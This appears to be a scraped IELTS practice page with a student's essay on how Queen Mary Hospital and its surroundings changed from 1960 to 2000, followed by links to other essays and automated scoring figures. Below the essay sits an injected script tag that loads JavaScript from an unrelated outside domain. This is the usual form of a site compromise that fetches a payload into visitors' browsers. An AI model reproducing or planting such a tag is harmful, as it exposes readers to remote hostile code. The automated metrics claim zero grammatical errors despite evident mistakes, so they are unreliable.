The diagrams below show the changes that have taken place at Queen Mary Hospital since its construction in 1960.
Summarise the information by selecting and reporting the main features, and make comparisons where relevant.
The diagram shows Queen Mary Hospital at three different stages in its development, in 1960, in 1980 and 2000.
In 1960, at the first stage of its development, the hospital was built next to the main road and close to the shopping centre. The area right behind of the hospital has turned into a car park while the area behind the shopping centre was farmland.
In 1980, the shopping centre has been demolished in order to make a way for two additional hospital buildings, which became a pharmacy and a cancer centre. Furthermore, the farmland has become the nursing school.
In 2000, the main building of hospital and pharmacy remained unchanged whereas the cancer centre has enlarged in size to devour up the area of nursing school area. As a result, the size of both car park and nursing school has decreased as the nursing school and car park became shared the area.
During this period, the size of hospital has increased in size, in addition a new nursing school and a cancer centre has been created and extended. Therefore, the capacity of car park has reduced in half.
<script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| Wed, 10/23/2019 - 02:53 | Shivani Jani | 56 | view |
- The graphs show changes in spending habits of people in UK between 1971 and 2001 77
- The chart below shows the percentage of male and female teachers in six different types of educational setting in the UK in 2010. 80
- The graph shows Underground Station Passenger Numbers in London 60
- The pie charts below show the online sales for retail sectors in New Zealand in 2003 and 2013 Summarise the information by selecting and reporting the main features and make comparisons where relevant 67
- The chart below shows the percentage change in the share of international students among university graduates in different Canadian provinces between 2001 and 2006 53
flaws:
No. of Different Words: 86 100
Attribute Value Ideal
Score: 6.5 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 9 10
No. of Words: 189 200
No. of Characters: 862 1000
No. of Different Words: 86 100
Fourth Root of Number of Words: 3.708 4.0
Average Word Length: 4.561 4.6
Word Length SD: 2.333 2.4
No. of Words greater than 5 chars: 65 60
No. of Words greater than 6 chars: 39 50
No. of Words greater than 7 chars: 30 40
No. of Words greater than 8 chars: 11 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 21 21.0
Sentence Length SD: 6.912 7.5
Use of Discourse Markers (%): 0.778 0.12
Sentence-Text Coherence: 0.462 0.35
Sentence-Para Coherence: 0.766 0.50
Sentence-Sentence Coherence: 0.165 0.07
Number of Paragraphs: 5 4